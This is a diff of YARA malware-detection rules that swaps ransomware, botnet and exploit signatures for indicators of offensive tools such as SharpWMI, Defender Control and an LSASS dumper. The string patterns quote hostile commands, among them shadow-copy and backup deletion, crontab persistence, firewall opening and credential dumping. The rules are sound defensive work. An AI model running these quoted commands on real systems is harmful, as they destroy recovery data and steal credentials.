+		uint16(0)==0x5a4d and ( all of ($pdb*) or 2 of ($s*))
 }
-rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Shamoon : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpwmi : FILE
 {
 	meta:
-		description = "Kwampirs Shamoon overlap"
-		author = "FBI / cywatch@fbi.gov"
-		id = "87d28867-383e-5e09-8369-63c8a4e3f966"
-		date = "2020-01-14"
-		modified = "2020-03-31"
-		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L200-L221"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		logic_hash = "43f352c3db016d2831d11a13ae6c0baf440fa464560090e00432780df6a8982d"
+		description = "Detects SharpWMI"
+		author = "ditekSHen"
+		id = "9c58d9fa-04b8-5a9c-8ae9-ff2e7530772f"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L604-L619"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "e6c5764d0883e2882e06f07e4729362011a4d65614259b85978e1c6ef5cfadb7"
 		score = 75
-		quality = 60
+		quality = 73
 		tags = "FILE"
 
 	strings:
-		$s1 = "g\\system32\\" fullword wide
-		$s2 = "ztvttw" fullword wide
-		$s3 = "lwizvm" fullword ascii
-		$op1 = { 94 35 77 73 03 40 eb e9 }
-		$op2 = { 80 7c 41 01 00 74 0a 3d }
-		$op3 = { 74 0a 3d 00 94 35 77 }
+		$s1 = "scriptKillTimeout" fullword ascii
+		$s2 = "RemoteWMIExecuteWithOutput" fullword ascii
+		$s3 = "RemoteWMIFirewall" fullword ascii
+		$s4 = "iex([char[]](@({0})|%{{$_-bxor{1}}}) -join '')" fullword wide
+		$s5 = "\\\\{0}\\root\\subscription" fullword wide
+		$s6 = "_Context##RANDOM##" fullword wide
+		$s7 = "executevbs" fullword wide
+		$s8 = "scriptb64" fullword wide
 
 	condition:
-		(( uint16(0)==0x5a4d) and ( filesize <4000KB) and (3 of them ))
+		uint16(0)==0x5a4d and 4 of them
 }
-rule CRAIU_Crime_Chaos_Ransomware_Gen : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PET_Defendercontrol : FILE
 {
 	meta:
-		description = "Chaos ransomware generic strings"
-		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
-		id = "e909f7e4-50c2-54a6-8274-9ef92f95bf93"
-		date = "2024-05-27"
-		modified = "2024-05-28"
-		reference = "https://blog.sonicwall.com/en-us/2024/05/politically-charged-ransomware-weaponized-as-a-file-destroyer/"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_chaos_ransomware.yara#L2-L39"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		hash = "524a898e18999ceac864dbac5b85fa2f14392e389b3c32f77d58e2a89cdf01c4"
-		logic_hash = "7d2e1c9178d5bf360cebc90056bbdae6a11729b1b3c5e963c522a29fd7ba7a3e"
+		description = "Detects Defender Control"
+		author = "ditekSHen"
+		id = "7bc1f26e-2432-5642-b1e7-c87683f7d932"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L621-L631"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "826ed0643a07580750eb11c4cf2c2759f53b6c2bda51705476edc4808abccbf8"
 		score = 75
-		quality = 60
+		quality = 75
 		tags = "FILE"
-		version = "1.0"
 
 	strings:
-		$a0 = "<Exponent>AQAB</Exponent>" ascii wide fullword
-		$a2 = "<EncryptedKey>" ascii wide fullword
-		$a15 = "vssadmin delete shadows /all /quiet & wmic shadowcopy delete" ascii wide fullword
-		$a16 = "bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" ascii wide fullword
-		$a17 = "wbadmin delete catalog -quiet" ascii wide fullword
-		$a18 = "C:\\Users\\" ascii wide fullword
-		$a22 = "/9j/4AAQSkZJRgABAQAAAQABAAD/4gHYSUNDX1BST0ZJTEUAAQEAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADb/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAQ4B4ADAREAAhEBAxEB/8QAHwAAAAYDAQEBAAAAAAAAAAAABAUGBwgJAgMKAQAL/8QAgRAAAQIDBQQIAwcCAgQIAAI7AQIRAwQhAAUGMUEHElFhCBMicYGRofCxwdEJFCMyQuHxFVIzYhYkQ3IKFzRTY4KSshglRHOi0uIZJlRkg5PCJzU2RVZYdJaXo9PWGkZHVVeEprO1KDllZ3V2eIaHlJWktLbDxtTV1zd3xMVmp8f" ascii wide fullword
-		$a24 = "17CqMQFeuB3NTzJ" ascii wide fullword
-		$a25 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" ascii wide fullword
-		$a26 = "7z459ajrk722yn8c5j4fg" ascii wide
-		$a27 = "2X28tfRmWaPyPQgvoHV" ascii wide
-		$a28 = "1qw0ll8p9m8uezhqhyd" ascii wide
-		$b11 = "\\Saved Games" ascii wide fullword
+		$s1 = "Windows Defender Control" wide
+		$s2 = "www.sordum.org" wide ascii
+		$s3 = "dControl" wide
 
 	condition:
-		( filesize <9MB) and ( uint16(0)==0x5a4d) and ((3 of them ))
+		uint16(0)==0x5a4d and 2 of them
 }
-rule CRAIU_Crime_Noabot : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PET_Mulit_Venomagent : FILE
 {
 	meta:
-		description = "Noabot is a clone of Mirai"
-		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
-		id = "8626783b-898c-587d-9b23-c8c9111cde66"
-		date = "2024-01-11"
-		modified = "2024-01-11"
-		reference = "https://www.akamai.com/blog/security-research/mirai-based-noabot-crypto-mining"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_noabot.yara#L2-L57"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		hash = "1603202a9115b83224233697f2ca1d36fef60113b94a73a15afed79a459aacc3"
-		hash = "16a28951acfe78b81046bfedb0b489efb4c9d3d1d3b8475c39b93cd5105dc866"
-		hash = "3da983ef3580a4b1b3b041cd991019b900f7995791c0acb32035ac5706085a63"
-		hash = "648a4f33b2c268523378929179af529bc064538326a1202dcdfcd9ee12ae8f6c"
-		hash = "829b3c298f7003f49986fb26920f7972e52982651ae6127c6e8e219a86f46890"
-		hash = "c723a221cff37a700e0e3b9dc5f69cdd6a4cc82502ac7c144d6ca1eaf963e800"
-		hash = "c8d3c0b87176b7f8d5667d479cb40d1b9f030d30afe588826254f26ebb4ac58e"
-		logic_hash = "51c63f45f891ee80c5e8428575f12cb5881665cb9fe26018d173335db0f02012"
+		description = "Detects Venom Proxy Agent"
+		author = "ditekSHen"
+		id = "598bc773-cbe9-503b-ba3e-27c2cde8910d"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L633-L645"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "5eda23a237404a44dc9eb057adbf6106166374168eb08e55c182da5c05ecb4f1"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = "FILE"
-		version = "1.1"
 
 	strings:
-		$a1a = "(crontab -l; printf '@reboot %s noa"
-		$a1b = "(crontab -l; printf '@reboot %s \"%s\" noa"
-		$a2 = {40 6D 61 67 69 63 40 [1-8] 6E 6F 61 [1-8] 0A 0A 49 20 61 69 6E 74 20 79 6F 75 72 20 61 76}
-		$a3 = {31 32 33 34 35 36 [1-8] 41 64 6D 69 6E 21 40 23 [1-8] 7A 68 61 6E 67 6A 69 65 31 32 33 [1-8] 43 75 6D 75 6C 75 73 4C 69 6E 75 78 21 [1-8] 61 62 63 31 32 33 24 [1-8] 77 65 62 40 31 32 33 [1-8] 6D 70 69 75 73 65 72 [1-8] 61 74 75 61 6C 69 7A 61}
-		$a4 = "HACKED: %s:%d:%s:%s"
-		$a5 = {25 64 7C 25 64 00 31 76 57 3F 3E 55 00 26 25 2423 00 67 76 64 64 60 78 65 73 00 00 26 25 24 00}
-		$b1 = "ufw allow 24816"
-		$b2 = "iptables -I INPUT -p tcp --dport 24816 -j ACCEPT"
-		$b3 = "iptables -I OUTPUT -p tcp --dport 24816 -j ACCEPT"
-		$b4 = "firewall-cmd --permanent --add-port 24816/tcp"
-		$b5 = "magicPussyMommy"
-		$c1 = "SOCKET_CREATING_ERROR SCANNER"
-		$c2 = "SOCKET_CREATING_ERROR RECYCLE"
+		$s1 = "github.com/Dliv3/Venom/" ascii
+		$s2 = "3HpKQVB3nT3qaNQPT-ZU/SKJ55ofz5TEmg5O3ROWA/CUs_-gfa04tGVO633Z4G/OSeEpRRb0Sq_5R6ArIi-" ascii
+		$s3 = "venom_agent -" ascii
+		$s4 = "bufferssh-userauthtransmitfileunknown portwirep: p->m= != sweepgen" ascii
+		$s5 = "golang.org/x/crypto/ssh.(*handshakeTransport).readPacket"
 
 	condition:
-		filesize <10MB and ( uint32(0)==0x464c457f) and (( any of ($a*)) or ( all of ($b*)) or ( all of ($c*)))
+		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and 3 of them
 }
-rule CRAIU_Exploit_CVE_2024_6387 : CVE_2024_6387 FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_HFS_Webserver : FILE
 {
 	meta:
-		description = "Strings from CVE-2024-6387 exploit PoC by zgzhang."
-		author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro"
-		id = "6ac63016-864d-57af-bb36-3115a0a91021"
-		date = "2024-07-02"
-		modified = "2024-07-03"
-		reference = "https://github.com/zgzhang/cve-2024-6387-poc/tree/main"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/exploit_cve_2024_6387.yara#L2-L38"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		hash = "62b06a6c30a0c891c2246ff87c0ad9ae03d2123601ba5331d6348c43b38d185e"
-		logic_hash = "d43a77c2690b5e01639590bc31fa64fa36b1da5efd3cc0761be7369ce80e4253"
+		description = "Detects HFS Web Server"
+		author = "ditekSHen"
+		id = "2c9d9a38-8a6c-5c53-84bc-4eef77933172"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L647-L658"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f5b8947e3858466dae5f476790842500f8184c4676d8c0c4870adb7fd3206652"
 		score = 75
-		quality = 85
-		tags = "CVE-2024-6387, FILE"
-		version = "1.0"
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$a0 = "Attempting exploitation with glibc base: 0x%lx" ascii wide fullword
-		$a1 = "Attempt %d of 20000" ascii wide fullword
-		$a2 = "Failed to establish connection, attempt %d" ascii wide fullword
-		$a3 = "SSH handshake failed, attempt %d" ascii wide fullword
-		$a4 = "Possible exploitation success on attempt %d with glibc base 0x%lx!" ascii wide fullword
-		$a5 = "Received SSH version: %s" ascii wide fullword
-		$a6 = "Connection closed while receiving SSH version" ascii wide fullword
-		$a7 = "Received KEX_INIT (%zd bytes)" ascii wide fullword
-		$a8 = "Connection closed while receiving KEX_INIT" ascii wide fullword
-		$a9 = "Estimated parsing time: %.6f seconds" ascii wide fullword
-		$a10 = "Received response after exploit attempt (%zd bytes)" ascii wide fullword
-		$a11 = "Possible hit on 'large' race window" ascii wide fullword
-		$a12 = "Connection closed by server - possible successful exploitation" ascii wide fullword
-		$a13 = "No immediate response from server - possible successful exploitation" ascii wide fullword
-		$a14 = "Attempt %d of 10000" ascii wide fullword
+		$s1 = "SOFTWARE\\Borland\\Delphi\\" ascii
+		$s2 = "C:\\code\\mine\\hfs\\scriptLib.pas" fullword ascii
+		$s3 = "hfs.*;*.htm*;descript.ion;*.comment;*.md5;*.corrupted;*.lnk" ascii
+		$s4 = "Server: HFS" ascii
 
 	condition:
-		( filesize <5MB) and ( uint32be(0)==0x7F454C46) and (4 of ($a*))
+		uint16(0)==0x5a4d and all of them
 }
-rule CRAIU_Susp_Ios_Shutdown
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PROX_Lanproxy : FILE
 {
 	meta:
-		description = "Detect shutdown.log files from sysdiags with suspicious entries"
-		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
-		id = "08aa1fb9-7af0-515a-91a8-09ed35e48155"
-		date = "2023-12-28"
-		modified = "2024-03-05"
-		reference = "https://securelist.com/shutdown-log-lightweight-ios-malware-detection-method/111734/"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/susp_ios_shutdown.yara#L2-L25"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		logic_hash = "936101f2dddb73f6dda41be47d775199c458aa4fecdcf348ed479da620343ea1"
-		score = 65
-		quality = 85
-		tags = ""
-		version = "1.0"
-		tlp = "TLP:CLEAR"
+		description = "Detects lanproxy-go-client"
+		author = "ditekSHen"
+		id = "71fc23d9-9aae-5666-832b-90cf5a86c474"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L660-L675"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "13a5aaea0fb522e3badb4a60d2db8d7dd46e5721bd6dc2e2b2e29d49e197c375"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$a1 = "these clients are still here:"
-		$b1 = "/private/var/db/"
-		$b2 = "/private/var/tmp/"
-		$c1 = "After "
+		$s1 = "serverShare" fullword ascii
+		$s2 = "parkingOnChan" fullword ascii
+		$s3 = "{{join .Names \", \"}}{{\"\\t\"}}{{.Usage}}{{end}}{{end}}{{end}}{{end}}{{" ascii
+		$s4 = "</table></thead></tbody>" fullword ascii
+		$s5 = "value=aacute;abreve;addressagrave;alt -> andand;angmsd;angsph;any -> apacir;approx;articleatilde;barvee;barwed;bdoUxXvbecaus;ber" ascii
+		$s6 = "/dev/urandom127.0.0.1:" ascii
+		$s7 = "non-IPv4 addressnon-IPv6 addressntrianglelefteq;object is remotepacer: H_m_prev=reflect mismatchregexp: Compile(remote I/O error" ascii
+		$s8 = ".WithDeadline(.in-addr.arpa." ascii
 
 	condition:
-		($c1 at 0) and $a1 and ( any of ($b*))
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and 6 of them
 }
-/*
- * YARA Rule Set
- * Repository Name: DitekSHen
- * Repository: https://github.com/ditekshen/detection
- * Retrieval Date: 2024-08-04
- * Git Commit: 6419013759723bbe4d5739312c9bc0a339259bc4
- * Number of Rules: 1420
- * Skipped: 0 (age), 121 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * Copyright 2021 by ditekSHen (https://github.com/ditekshen/detection).
-
-The 2-Clause BSD License
-
-Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
-1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
-2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+import "pe"
 
- */
-rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_0199_1 : CVE_2017_0199 FILE
+rule DITEKSHEN_INDICATOR_TOOL_PET_Peirates : FILE
 {
 	meta:
-		description = "Detects RTF documents potentially exploiting CVE-2017-0199"
+		description = "Detects Kubernetes penetration tool Peirates"
 		author = "ditekSHen"
-		id = "74b3702a-7b4d-58be-ad2c-c2b1cf0ebc50"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "74ce83ed-0d93-5cb0-97e8-6885ae83b336"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L1-L69"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L677-L694"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "06b75267f00b775a6c1cd7a2022a9cfa0ea2c976f969c2c066be51449f197f58"
+		logic_hash = "321f06af098283638f99d027dc3c95a25a72192a25c7afa5081a7dbff8c3acb7"
 		score = 75
 		quality = 75
-		tags = "CVE-2017-0199, FILE"
+		tags = "FILE"
 
 	strings:
-		$urlmoniker3 = { 45 0a 30 0a 43 0a 39 0a 45 0a 41 0a 37 0a 39 0a
-                         46 0a 39 0a 42 0a 41 0a 43 0a 45 0a 31 0a 31 0a
-                         38 0a 43 0a 38 0a 32 0a 30 0a 30 0a 41 0a 41 0a
-                         30 0a 30 0a 34 0a 42 0a 41 0a 39 0a 30 0a 42 }
-		$urlmoniker4 = { 45 0d 0a 30 0d 0a 43 0d 0a 39 0d 0a 45 0d 0a 41
-                         0d 0a 37 0d 0a 39 0d 0a 46 0d 0a 39 0d 0a 42 0d
-                         0a 41 0d 0a 43 0d 0a 45 0d 0a 31 0d 0a 31 0d 0a
-                         38 0d 0a 43 0d 0a 38 0d 0a 32 0d 0a 30 0d 0a 30
-                         0d 0a 41 0d 0a 41 0d 0a 30 0d 0a 30 0d 0a 34 0d
-                         0a 42 0d 0a 41 0d 0a 39 0d 0a 30 0d 0a 42 }
-		$urlmoniker6 = { 65 0a 30 0a 63 0a 39 0a 65 0a 61 0a 37 0a 39 0a
-                         66 0a 39 0a 62 0a 61 0a 63 0a 65 0a 31 0a 31 0a
-                         38 0a 63 0a 38 0a 32 0a 30 0a 30 0a 61 0a 61 0a
-                         30 0a 30 0a 34 0a 62 0a 61 0a 39 0a 30 0a 62 }
-		$urlmoniker7 = { 65 0d 0a 30 0d 0a 63 0d 0a 39 0d 0a 65 0d 0a 61
-                         0d 0a 37 0d 0a 39 0d 0a 66 0d 0a 39 0d 0a 62 0d
-                         0a 61 0d 0a 63 0d 0a 65 0d 0a 31 0d 0a 31 0d 0a
-                         38 0d 0a 63 0d 0a 38 0d 0a 32 0d 0a 30 0d 0a 30
-                         0d 0a 61 0d 0a 61 0d 0a 30 0d 0a 30 0d 0a 34 0d
-                         0a 62 0d 0a 61 0d 0a 39 0d 0a 30 0d 0a 62 }
-		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
-		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
-		$ole3 = "64306366313165306131623131616531" ascii
-		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" ascii nocase
-		$ole5 = { 64 0a 30 0a 63 0a 66 0a 31 0a 31 0a 65 0a 30 }
-		$ole6 = { 64 0d 0a 30 0d 0a 63 0d 0a 66 0d 0a 31 0d 0a 31 0d 0a 65 0d 0a 30 }
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
+		$s1 = "DeprecatedServiceAccount" fullword ascii
+		$s2 = "LivenessProbe" fullword ascii
+		$s3 = "\\t\\tkubectl expose rs nginx --port=80 --target-port=8000" ascii
+		$s4 = "\\t\\tkubectl run hazelcast --image=hazelcast --port=5701" ascii
+		$s5 = "COMPREPLY[$i]=${COMPREPLY[$i]#\"$colon_word\"}" ascii
+		$s6 = "%*polymorphichelpers.HistoryViewerFunc" ascii
+		$s7 = "ListenAndServeTLS" ascii
+		$s8 = "DownwardAPI" ascii
+		$s9 = "; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2);proto:" ascii
+		$s10 = "name: attack-" ascii
 
 	condition:
-		uint32(0)==0x74725c7b and 1 of ($urlmoniker*) and 1 of ($ole*) and 1 of ($obj*)
+		uint16(0)==0x457f and 9 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_8759_1 : CVE_2017_8759 FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PET_Botb : FILE
 {
 	meta:
-		description = "detects CVE-2017-8759 weaponized RTF documents."
+		description = "Detects Break out the Box (BOtB)"
 		author = "ditekSHen"
-		id = "8f873145-b909-5185-9f85-07c820d1f38e"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "acafa6dd-51b9-5945-b1df-7763a97a424f"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L195-L218"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L696-L710"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "595dc0153a2349fbd4f92dd544a3dfd05715059dd639653e7c7e6ac80624360e"
+		logic_hash = "a01f796b27852f9217d9bfea32f8d9ffb3c88521d4413f6612f7a0544cf44fb3"
 		score = 75
 		quality = 75
-		tags = "CVE-2017-8759, FILE"
+		tags = "FILE"
 
 	strings:
-		$clsid1 = { 00 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
-		$clsid2 = { 00 03 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
-		$clsid3 = "0003000000000000c000000000000046" ascii nocase
-		$clsid4 = "4f4c45324c696e6b" ascii nocase
-		$clsid5 = "OLE2Link" ascii nocase
-		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
-		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
-		$ole3 = "64306366313165306131623131616531" ascii
-		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
-		$s1 = "wsdl=http" wide
-		$s2 = "METAFILEPICT" ascii
-		$s3 = "INCLUDEPICTURE \"http" ascii
-		$s4 = "!This program cannot be run in DOS mode" ascii
+		$s1 = "to unallocated span%%!%c(*big.Float=%s), RecursionDesired: /usr/share/zoneinfo//{Bucket}/{Key+}?acl/{Bucket}?accelerate/{Bucket}?encryption/{Bucket}?" ascii
+		$s2 = "exploit CVE-2019-5736 with command: [ERROR] In Enabling CGROUP Notifications -> 'echo 1 > [INFO] CGROUP may exist, attempting exploit regardless" ascii
+		$s3 = "main.execShellCmd" ascii
+		$s4 = "[*] Data uploaded to:[+]" ascii
+		$s5 = "whitespace or line breakfailed to find credentials in the environment.failed to get %s EC2 instance role credentialsfirst" ascii
+		$s6 = "This process will exit IF an EXECVE is called in the Container or if the Container is manually stoppedPerform reverse DNS lookups" ascii
+		$s7 = "http: request too largehttp://100.100.100.200/http://169.254.169.254/index out of range" ascii
 
 	condition:
-		uint32(0)==0x74725c7b and 1 of ($clsid*) and 1 of ($ole*) and 2 of ($s*)
+		uint16(0)==0x457f and 6 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2 : CVE_2017_8759 FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PWS_LSASS_Createminidump : FILE
 {
 	meta:
-		description = "detects CVE-2017-8759 weaponized RTF documents."
+		description = "Detects CreateMiniDump tool"
 		author = "ditekSHen"
-		id = "92c8f45e-3792-51b3-bda4-7e9eae0e9a80"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "0d8642d1-2ed9-5270-a54a-6ba788026f5f"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L220-L248"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L712-L724"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "15c9a5cfce5d1a797bab049352d8506b8bc112cabe2f510019f5d203690419e8"
+		logic_hash = "577ccc783554363c0bed80d9642e8a0f107fc2ec66d84f76b9556aa3506c86c0"
 		score = 75
 		quality = 75
-		tags = "CVE-2017-8759, FILE"
+		tags = "FILE"
 
 	strings:
-		$clsid1 = { 88 d9 6a 0c f1 92 11 d4 a6 5f 00 40 96 32 51 e5 }
-		$clsid2 = "88d96a0cf19211d4a65f0040963251e5" ascii nocase
-		$clsid3 = "4d73786d6c322e534158584d4c5265616465722e" ascii nocase
-		$clsid4 = "Msxml2.SAXXMLReader." ascii nocase
-		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
-		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
-		$ole3 = "64306366313165306131623131616531" ascii
-		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
-		$obj7 = "\\objclass htmlfile" ascii
-		$soap1 = "c7b0abec197fd211978e0000f8757e" ascii nocase
+		$s1 = "lsass.dmp" fullword wide
+		$s2 = "lsass dumped successfully!" ascii
+		$s3 = "Got lsass.exe PID:" ascii
+		$s4 = "\\experiments\\CreateMiniDump\\CreateMiniDump\\" ascii
+		$s5 = "MiniDumpWriteDump" fullword ascii
 
 	condition:
-		uint32(0)==0x74725c7b and 1 of ($clsid*) and 1 of ($ole*) and (2 of ($obj*) or 1 of ($soap*))
+		uint16(0)==0x5a4d and 2 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_Exploit_Scripting : CVE_2017_8759 CVE_2017_8570 FILE
+import "pe"
+
